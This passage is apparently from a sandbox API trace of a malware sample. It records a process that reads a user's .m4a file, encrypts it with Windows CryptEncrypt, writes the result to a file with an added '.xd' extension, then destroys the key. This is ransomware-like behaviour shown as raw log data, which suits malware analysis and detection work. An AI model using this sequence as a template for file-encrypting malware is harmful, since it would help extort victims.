wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.183] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\4amd57")) returned 0x10 [0064.183] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\4amd57\\xnjqu.m4a.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0064.184] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.184] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.184] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.184] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.186] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0064.186] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0064.187] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x342e, lpOverlapped=0x0) returned 1 [0064.188] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0064.191] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.191] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.191] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.191] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0064.193] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.193] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.193] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0064.193] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.193] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0064.194] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.194] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.194] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.194] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0064.194] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0064.194] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0064.194] CryptGetKeyParam (in: hKey=0x164ca30, dwParam=0x7, pbData=0x1629640, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629640*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0064.194] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.194] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.194] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.194] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.194] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.194] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.195] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.195] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.195] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.195] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.195] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.195] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.195] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.195] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.195] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.195] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.195] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.195] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.195] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.196] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.196] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.197] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1342e, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x13430) returned 1 [0064.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.197] CharLowerBuffW (in: lpsz="byte[78897]", cchLength=0xb | out: lpsz="byte[78897]") returned 0xb [0064.197] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.199] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.199] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.200] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.201] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.201] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.201] CryptEncrypt (in: hKey=0x164ca30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e3f50*, pdwDataLen=0x130e618*=0x1342e, dwBufLen=0x13430 | out: pbData=0x17e3f50*, pdwDataLen=0x130e618*=0x13430) returned 1 [0064.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.202] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.202] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.203] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.204] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.204] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.204] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.204] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.204] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.204] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.204] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.204] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.204] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.209] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.210] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.210] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.210] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x13430, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x13430, lpOverlapped=0x0) returned 1 [0064.212] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.212] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.212] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0064.212] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.212] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.212] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0064.212] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0064.213] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0064.213] CryptDestroyKey (hKey=0x164ca30) returned 1 [0064.213] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.213] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.213] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.213] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.213] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.213] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.213] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.213] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.213] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.213] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0064.213] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.214] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.214] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.214] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.214] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.214] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.214] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.214] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.214] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.214] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.214] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.214] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.214] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.214] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.214] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.214] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.214] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.214] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.214] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0064.215] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0064.215] CryptReleaseContext (hProv=0x17ab6e8, dwFlags=0x0) returned 1 [0064.215] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.215] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.215] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.215] FreeLibrary (hLibModule=0x74c60000) returned 1 [0064.215] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.215] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.215] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.215] CloseHandle (hObject=0x2ac) returned 1 [0064.217] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.217] CloseHandle (hObject=0x3bc) returned 1 [0064.223] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.226] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.226] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", lpFilePart=0x0) returned 0x38 [0064.226] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\4amd57\\xnjqu.m4a")) returned 0x20 [0064.226] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\4AMd57\\xNjQU.m4a", 